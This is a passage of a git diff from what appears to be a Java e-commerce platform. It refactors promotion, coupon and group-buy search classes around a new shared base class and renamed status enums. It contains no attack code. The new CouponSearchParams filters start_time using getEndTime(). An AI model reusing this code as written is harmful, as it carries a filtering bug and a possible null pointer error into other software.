this.setPromotionName(DateUtil.formatDate(dateTime) + " 秒杀活动"); + this.setStartTime(dateTime); + this.setEndTime(DateUtil.endOfDay(dateTime)); + } + public Seckill(SeckillVO seckillVO) { + BeanUtils.copyProperties(seckillVO, this); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/SeckillApply.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/SeckillApply.java index 6254efea..7d011d32 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/SeckillApply.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/SeckillApply.java @@ -1,5 +1,6 @@ package cn.lili.modules.promotion.entity.dos; +import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; @@ -58,7 +59,7 @@ public class SeckillApply extends BaseEntity { private Integer quantity; /** - * @see cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum + * @see PromotionsApplyStatusEnum */ @ApiModelProperty(value = "APPLY(\"申请\"), PASS(\"通过\"), REFUSE(\"拒绝\")") private String promotionApplyStatus; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotion.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java similarity index 53% rename from framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotion.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java index f9e5468e..512dfe24 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotion.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java @@ -1,6 +1,7 @@ package cn.lili.modules.promotion.entity.dto; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.mybatis.BaseEntity; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; @@ -18,7 +19,7 @@ import java.util.Date; */ @EqualsAndHashCode(callSuper = true) @Data -public class BasePromotion extends BaseEntity { +public class BasePromotions extends BaseEntity { private static final long serialVersionUID = 7814832369110695758L; @@ -41,8 +42,32 @@ public class BasePromotion extends BaseEntity { private Date endTime; /** - * @see PromotionStatusEnum + * @see PromotionsScopeTypeEnum */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; + @ApiModelProperty(value = "关联范围类型") + private String scopeType = PromotionsScopeTypeEnum.PORTION_GOODS.name(); + + + @ApiModelProperty(value = "范围关联的id") + private String scopeId; + + + /** + * @return 促销状态 + * @see PromotionsStatusEnum + */ + public String getPromotionStatus() { + if (endTime == null) { + return startTime != null ? PromotionsStatusEnum.START.name() : PromotionsStatusEnum.CLOSE.name(); + } + Date now = new Date(); + if (now.before(startTime)) { + return PromotionsStatusEnum.NEW.name(); + } else if (endTime.before(now)) { + return PromotionsStatusEnum.END.name(); + } else if (now.before(endTime)) { + return PromotionsStatusEnum.START.name(); + } + return PromotionsStatusEnum.CLOSE.name(); + } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/CouponActivityDTO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/CouponActivityDTO.java index 7ffb3fb0..4175c469 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/CouponActivityDTO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/CouponActivityDTO.java @@ -4,6 +4,7 @@ import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.dos.CouponActivityItem; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import java.util.List; @@ -13,6 +14,7 @@ import java.util.List; * @author Bulbasaur * @since 2021/5/21 7:16 下午 */ +@EqualsAndHashCode(callSuper = true) @Data public class CouponActivityDTO extends CouponActivity { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityGoodsDTO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityGoodsDTO.java index 87e57d88..b8e5cc99 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityGoodsDTO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityGoodsDTO.java @@ -5,6 +5,7 @@ import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import java.io.Serializable; @@ -12,8 +13,9 @@ import java.io.Serializable; * 砍价活动商品DTO * * @author qiuqiu - * @date 2020/8/21 + * @since 2020/8/21 **/ +@EqualsAndHashCode(callSuper = true) @Data public class KanjiaActivityGoodsDTO extends KanjiaActivityGoods implements Serializable { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/PromotionGoodsDTO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/PromotionGoodsDTO.java index 63e034fb..b962e62e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/PromotionGoodsDTO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/PromotionGoodsDTO.java @@ -4,6 +4,7 @@ import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; @@ -13,15 +14,13 @@ import lombok.NoArgsConstructor; * @author paulG * @since 2020/10/9 **/ +@EqualsAndHashCode(callSuper = true) @Data @NoArgsConstructor public class PromotionGoodsDTO extends PromotionGoods { private static final long serialVersionUID = 9206970681612883421L; - @ApiModelProperty(value = "原价") - private Double originPrice; - @ApiModelProperty(value = "商品id") private String goodsId; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionApplyStatusEnum.java b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsApplyStatusEnum.java similarity index 81% rename from framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionApplyStatusEnum.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsApplyStatusEnum.java index 16f1b2fe..f746b95e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionApplyStatusEnum.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsApplyStatusEnum.java @@ -6,7 +6,7 @@ package cn.lili.modules.promotion.entity.enums; * @author Chopper * @since 2020-03-19 9:36 上午 */ -public enum PromotionApplyStatusEnum { +public enum PromotionsApplyStatusEnum { /** * 枚举 @@ -15,7 +15,7 @@ public enum PromotionApplyStatusEnum { private final String description; - PromotionApplyStatusEnum(String str) { + PromotionsApplyStatusEnum(String str) { this.description = str; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/CouponScopeTypeEnum.java b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsScopeTypeEnum.java similarity index 79% rename from framework/src/main/java/cn/lili/modules/promotion/entity/enums/CouponScopeTypeEnum.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsScopeTypeEnum.java index 1e0f8fc2..d9300acf 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/CouponScopeTypeEnum.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsScopeTypeEnum.java @@ -1,12 +1,12 @@ package cn.lili.modules.promotion.entity.enums; /** - * 优惠券适用范围类型枚举 + * 促销适用范围类型枚举 * * @author Chopper * @since 2020-03-19 9:36 上午 */ -public enum CouponScopeTypeEnum { +public enum PromotionsScopeTypeEnum { /** * 枚举 @@ -18,7 +18,7 @@ public enum CouponScopeTypeEnum { private final String description; - CouponScopeTypeEnum(String str) { + PromotionsScopeTypeEnum(String str) { this.description = str; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionStatusEnum.java b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsStatusEnum.java similarity index 87% rename from framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionStatusEnum.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsStatusEnum.java index 69423f7d..753f39a5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionStatusEnum.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsStatusEnum.java @@ -6,7 +6,7 @@ package cn.lili.modules.promotion.entity.enums; * @author Chopper * @since 2020-03-19 3:53 下午 */ -public enum PromotionStatusEnum { +public enum PromotionsStatusEnum { /** * 新建 @@ -27,7 +27,7 @@ public enum PromotionStatusEnum { private final String description; - PromotionStatusEnum(String str) { + PromotionsStatusEnum(String str) { this.description = str; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java new file mode 100644 index 00000000..6c73c83f --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java @@ -0,0 +1,64 @@ +package cn.lili.modules.promotion.entity.vos; + +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.tools.PromotionTools; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import io.swagger.annotations.ApiModelProperty; +import lombok.Data; + +import java.util.Date; + +/** + * @author paulG + * @since 2021/11/18 + **/ +@Data +public class BasePromotionsSearchParams { + + @ApiModelProperty(value = "活动id") + private String id; + + @ApiModelProperty(value = "活动开始时间") + private Long startTime; + + @ApiModelProperty(value = "活动结束时间") + private Long endTime; + + /** + * @see PromotionsStatusEnum + */ + @ApiModelProperty(value = "活动状态") + private String promotionStatus; + + /** + * @see PromotionsScopeTypeEnum + */ + @ApiModelProperty(value = "关联范围类型") + private String scopeType; + + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = new QueryWrapper<>(); + + if (CharSequenceUtil.isNotEmpty(id)) { + queryWrapper.eq("id", id); + } + if (startTime != null) { + queryWrapper.ge("start_time", new Date(startTime)); + } + if (endTime != null) { + queryWrapper.le("end_time", new Date(endTime)); + } + if (CharSequenceUtil.isNotEmpty(promotionStatus)) { + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(promotionStatus))); + } + if (CharSequenceUtil.isNotEmpty(scopeType)) { + queryWrapper.eq("scope_type", scopeType); + } + queryWrapper.eq("delete_flag", false); + return queryWrapper; + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityItemVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityItemVO.java index 6b3fe192..2bce8016 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityItemVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityItemVO.java @@ -3,6 +3,7 @@ package cn.lili.modules.promotion.entity.vos; import cn.lili.modules.promotion.entity.dos.CouponActivityItem; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 优惠券活动的优惠券VO @@ -10,6 +11,7 @@ import lombok.Data; * @author Bulbasaur * @since 2021/6/18 11:00 上午 */ +@EqualsAndHashCode(callSuper = true) @Data public class CouponActivityItemVO extends CouponActivityItem { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityVO.java index f32ae53f..737a8364 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityVO.java @@ -4,6 +4,7 @@ import cn.lili.common.utils.BeanUtil; import cn.lili.modules.promotion.entity.dos.CouponActivity; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; import java.util.List; @@ -14,6 +15,7 @@ import java.util.List; * @author Bulbasaur * @since 2021/5/21 7:01 下午 */ +@EqualsAndHashCode(callSuper = true) @Data @NoArgsConstructor public class CouponActivityVO extends CouponActivity { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java index 2217b52e..c4a5dc00 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java @@ -2,16 +2,15 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.*; +import cn.lili.modules.promotion.tools.PromotionTools; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; +import lombok.EqualsAndHashCode; import java.io.Serializable; -import java.util.Arrays; +import java.util.Collections; import java.util.Date; -import java.util.regex.Pattern; /** * 优惠券查询通用类 @@ -19,11 +18,14 @@ import java.util.regex.Pattern; * @author paulG * @since 2020/8/14 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class CouponSearchParams implements Serializable { +public class CouponSearchParams extends BasePromotionsSearchParams implements Serializable { private static final long serialVersionUID = 4566880169478260409L; + private static final String PRICE_COLUMN = "price"; + private static final String RANGE_DAY_TYPE_COLUMN = "range_day_type"; @ApiModelProperty(value = "店铺编号") private String storeId; @@ -41,7 +43,7 @@ public class CouponSearchParams implements Serializable { @ApiModelProperty(value = "活动类型") private String couponType; /** - * @see cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum + * @see PromotionsScopeTypeEnum */ @ApiModelProperty(value = "关联范围类型") private String scopeType; @@ -58,27 +60,17 @@ public class CouponSearchParams implements Serializable { */ @ApiModelProperty(value = "优惠券类型,分为免费领取和活动赠送") private String getType; - - @ApiModelProperty(value = "活动开始时间") - private Long startTime; - - @ApiModelProperty(value = "活动结束时间") - private Long endTime; /** * @see MemberCouponStatusEnum */ @ApiModelProperty(value = "会员优惠券状态") private String memberCouponStatus; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - public QueryWrapper wrapper() { + @Override + public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); if (storeId != null) { - queryWrapper.in("store_id", Arrays.asList(storeId)); + queryWrapper.in("store_id", Collections.singletonList(storeId)); } if (CharSequenceUtil.isNotEmpty(couponName)) { queryWrapper.like("coupon_name", couponName); @@ -90,7 +82,7 @@ public class CouponSearchParams implements Serializable { queryWrapper.eq("coupon_type", CouponTypeEnum.valueOf(couponType).name()); } if (CharSequenceUtil.isNotEmpty(scopeType)) { - queryWrapper.eq("scope_type", CouponScopeTypeEnum.valueOf(scopeType).name()); + queryWrapper.eq("scope_type", PromotionsScopeTypeEnum.valueOf(scopeType).name()); } if (CharSequenceUtil.isNotEmpty(scopeId)) { queryWrapper.eq("scope_id", scopeId); @@ -98,20 +90,38 @@ public class CouponSearchParams implements Serializable { if (CharSequenceUtil.isNotEmpty(getType)) { queryWrapper.eq("get_type", CouponGetEnum.valueOf(getType).name()); } - if (startTime != null) { - queryWrapper.ge("start_time", new Date(startTime)); - } - if (endTime != null) { - queryWrapper.le("end_time", new Date(endTime)); - } if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) { queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.valueOf(memberCouponStatus).name()); } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("promotion_status", PromotionStatusEnum.valueOf(promotionStatus).name()); + if (CharSequenceUtil.isNotEmpty(this.getPromotionStatus())) { + switch (PromotionsStatusEnum.valueOf(this.getPromotionStatus())) { + case NEW: + queryWrapper.nested(i -> i.gt(PromotionTools.START_TIME_COLUMN, new Date()).gt(PromotionTools.END_TIME_COLUMN, new Date())) + ; + break; + case START: + queryWrapper.nested(i -> i.le(PromotionTools.START_TIME_COLUMN, new Date()).ge(PromotionTools.END_TIME_COLUMN, new Date())) + .or(i -> i.gt("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name())); + break; + case END: + queryWrapper.nested(i -> i.lt(PromotionTools.START_TIME_COLUMN, new Date()).lt(PromotionTools.END_TIME_COLUMN, new Date())); + break; + case CLOSE: + queryWrapper.nested(n -> n.nested(i -> i.isNull(PromotionTools.START_TIME_COLUMN).isNull(PromotionTools.END_TIME_COLUMN) + .eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.FIXEDTIME.name())). + or(i -> i.le("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name()))); + break; + default: + } + } + if (this.getStartTime() != null) { + queryWrapper.ge("start_time", new Date(this.getEndTime())); + } + if (this.getEndTime() != null) { + queryWrapper.le("end_time", new Date(this.getEndTime())); } - this.betweenWrapper(queryWrapper); queryWrapper.eq("delete_flag", false); + this.betweenWrapper(queryWrapper); queryWrapper.orderByDesc("create_time"); return queryWrapper; } @@ -143,72 +153,4 @@ public class CouponSearchParams implements Serializable { } } - public Query mongoQuery() { - Query query = new Query(); - if (storeId != null) { - query.addCriteria(Criteria.where("storeId").in(Arrays.asList(storeId))); - } - if (CharSequenceUtil.isNotEmpty(couponName)) { - Pattern pattern = Pattern.compile("^.*" + couponName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("couponName").regex(pattern)); - } - if (memberId != null) { - query.addCriteria(Criteria.where("memberId").is(memberId)); - } - if (CharSequenceUtil.isNotEmpty(couponType)) { - query.addCriteria(Criteria.where("couponType").is(CouponTypeEnum.valueOf(couponType).name())); - } - if (CharSequenceUtil.isNotEmpty(scopeType)) { - query.addCriteria(Criteria.where("scopeType").is(CouponScopeTypeEnum.valueOf(scopeType).name())); - } - if (CharSequenceUtil.isNotEmpty(scopeId)) { - query.addCriteria(Criteria.where("scopeId").is(scopeId)); - } - if (CharSequenceUtil.isNotEmpty(getType)) { - query.addCriteria(Criteria.where("getType").is(CouponGetEnum.valueOf(getType).name())); - } - if (startTime != null) { - query.addCriteria(Criteria.where("startTime").gte(new Date(startTime))); - } - if (endTime != null) { - query.addCriteria(Criteria.where("endTime").lte(new Date(endTime))); - } - if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) { - query.addCriteria(Criteria.where("memberCouponStatus").is(MemberCouponStatusEnum.valueOf(memberCouponStatus).name())); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.valueOf(promotionStatus).name())); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - betweenQuery(query); - return query; - } - - private void betweenQuery(Query query) { - if (CharSequenceUtil.isNotEmpty(price)) { - String[] s = price.split("_"); - if (s.length > 1) { - query.addCriteria(Criteria.where(PRICE_COLUMN).gte(s[1])); - } else { - query.addCriteria(Criteria.where(PRICE_COLUMN).lte(s[0])); - } - } - if (CharSequenceUtil.isNotEmpty(publishNum)) { - String[] s = publishNum.split("_"); - if (s.length > 1) { - query.addCriteria(Criteria.where("publishNum").gte(s[1])); - } else { - query.addCriteria(Criteria.where("publishNum").lte(s[0])); - } - } - if (CharSequenceUtil.isNotEmpty(receivedNum)) { - String[] s = receivedNum.split("_"); - if (s.length > 1) { - query.addCriteria(Criteria.where("receivedNum").gte(s[1])); - } else { - query.addCriteria(Criteria.where("receivedNum").lte(s[0])); - } - } - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponVO.java index 2a69f0e2..0a33ba99 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponVO.java @@ -5,6 +5,10 @@ import cn.lili.modules.promotion.entity.dos.PromotionGoods; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import lombok.ToString; +import org.springframework.beans.BeanUtils; import java.util.List; @@ -14,8 +18,11 @@ import java.util.List; * @author Chopper * @since 2020/8/14 */ +@EqualsAndHashCode(callSuper = true) @Data @ApiModel(value = "优惠券") +@ToString(callSuper = true) +@NoArgsConstructor public class CouponVO extends Coupon { private static final long serialVersionUID = 8372420376262437018L; @@ -26,5 +33,10 @@ public class CouponVO extends Coupon { @ApiModelProperty(value = "优惠券关联商品集合") private List promotionGoodsList; - + public CouponVO(Coupon coupon) { + if (coupon == null) { + return; + } + BeanUtils.copyProperties(coupon, this); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java index b2e35ab1..c6fb7a5e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java @@ -1,18 +1,13 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import java.io.Serializable; import java.util.Arrays; -import java.util.Date; -import java.util.regex.Pattern; /** * 满优惠查询通用类 @@ -20,8 +15,9 @@ import java.util.regex.Pattern; * @author paulG * @since 2020/8/21 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class FullDiscountSearchParams implements Serializable { +public class FullDiscountSearchParams extends BasePromotionsSearchParams implements Serializable { private static final long serialVersionUID = -4052716630253333681L; @@ -32,59 +28,28 @@ public class FullDiscountSearchParams implements Serializable { @ApiModelProperty(value = "店铺编号 如有多个','分割") private String storeId; - @ApiModelProperty(value = "活动开始时间", required = true) - private Long startTime; + @ApiModelProperty(value = "是否赠优惠券") + private Boolean isCoupon; - @ApiModelProperty(value = "活动结束时间", required = true) - private Long endTime; + @ApiModelProperty(value = "优惠券id") + private String couponId; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - - - public QueryWrapper wrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(promotionName)) { queryWrapper.like("title", promotionName); } if (storeId != null) { queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); } - if (startTime != null) { - queryWrapper.ge("start_time", new Date(startTime)); + if (isCoupon != null) { + queryWrapper.eq("is_coupon", isCoupon); } - if (endTime != null) { - queryWrapper.le("end_time", new Date(endTime)); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("promotion_status", PromotionStatusEnum.valueOf(promotionStatus).name()); + if (CharSequenceUtil.isNotEmpty(couponId)) { + queryWrapper.eq("coupon_id", couponId); } return queryWrapper; } - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(promotionName)) { - Pattern pattern = Pattern.compile("^.*" + promotionName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("promotionName").regex(pattern)); - } - if (storeId != null) { - query.addCriteria(Criteria.where("storeId").in(Arrays.asList(storeId.split(",")))); - } - if (startTime != null) { - query.addCriteria(Criteria.where("startTime").gte(new Date(startTime))); - } - if (endTime != null) { - query.addCriteria(Criteria.where("endTime").lte(new Date(endTime))); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.valueOf(promotionStatus).name())); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - return query; - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java index 79da0d01..36069bf5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java @@ -1,18 +1,12 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; -import cn.lili.common.utils.StringUtils; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; +import lombok.EqualsAndHashCode; import javax.validation.constraints.NotEmpty; -import javax.validation.constraints.NotNull; -import java.util.Date; -import java.util.regex.Pattern; /** * 拼团查询通用类 @@ -20,8 +14,9 @@ import java.util.regex.Pattern; * @author paulG * @since 2020/10/9 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class PintuanSearchParams { +public class PintuanSearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "商家id") private String storeId; @@ -33,67 +28,20 @@ public class PintuanSearchParams { @ApiModelProperty(value = "活动名称", required = true) private String promotionName; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - @NotNull(message = "活动状态不能为空") - private String promotionStatus; - @ApiModelProperty(value = "活动开始时间") - private Long startTime; - - @ApiModelProperty(value = "活动结束时间") - private Long endTime; - - public QueryWrapper wrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(promotionName)) { queryWrapper.like("promotion_name", promotionName); } - if (!StringUtils.isEmpty(storeName)) { + if (CharSequenceUtil.isNotEmpty(storeName)) { queryWrapper.like("store_name", storeName); } - if (!StringUtils.isEmpty(storeId)) { - queryWrapper.eq("store_id", storeName); + if (CharSequenceUtil.isNotEmpty(storeId)) { + queryWrapper.eq("store_id", storeId); } - if (startTime != null) { - queryWrapper.ge("start_time", new Date(startTime)); - } - if (endTime != null) { - queryWrapper.le("end_time", new Date(endTime)); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("promotion_status", PromotionStatusEnum.valueOf(promotionStatus).name()); - } - queryWrapper.eq("delete_flag", false); return queryWrapper; } - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(promotionName)) { - Pattern pattern = Pattern.compile("^.*" + promotionName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("promotionName").regex(pattern)); - } - if (!StringUtils.isEmpty(storeName)) { - Pattern pattern = Pattern.compile("^.*" + storeName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("storeName").regex(pattern)); - } - if (!StringUtils.isEmpty(storeId)) { - query.addCriteria(Criteria.where("storeId").is(storeId)); - } - if (startTime != null) { - query.addCriteria(Criteria.where("startTime").gte(new Date(startTime))); - } - if (endTime != null) { - query.addCriteria(Criteria.where("endTime").lte(new Date(endTime))); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.valueOf(promotionStatus).name())); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - return query; - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanVO.java index 3467aef5..b19019a6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanVO.java @@ -4,6 +4,8 @@ import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import lombok.Data; import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.springframework.beans.BeanUtils; import java.util.List; @@ -13,11 +15,16 @@ import java.util.List; * @author paulG * @since 2020/10/28 **/ +@EqualsAndHashCode(callSuper = true) @Data +@NoArgsConstructor public class PintuanVO extends Pintuan { private static final long serialVersionUID = 218582640653676201L; private List promotionGoodsList; + public PintuanVO(Pintuan pintuan) { + BeanUtils.copyProperties(pintuan, this); + } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java index ec03d05e..baf06ef6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java @@ -1,15 +1,10 @@ package cn.lili.modules.promotion.entity.vos; -import cn.hutool.core.convert.Convert; import cn.hutool.core.text.CharSequenceUtil; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.mongodb.core.query.Criteria; -import 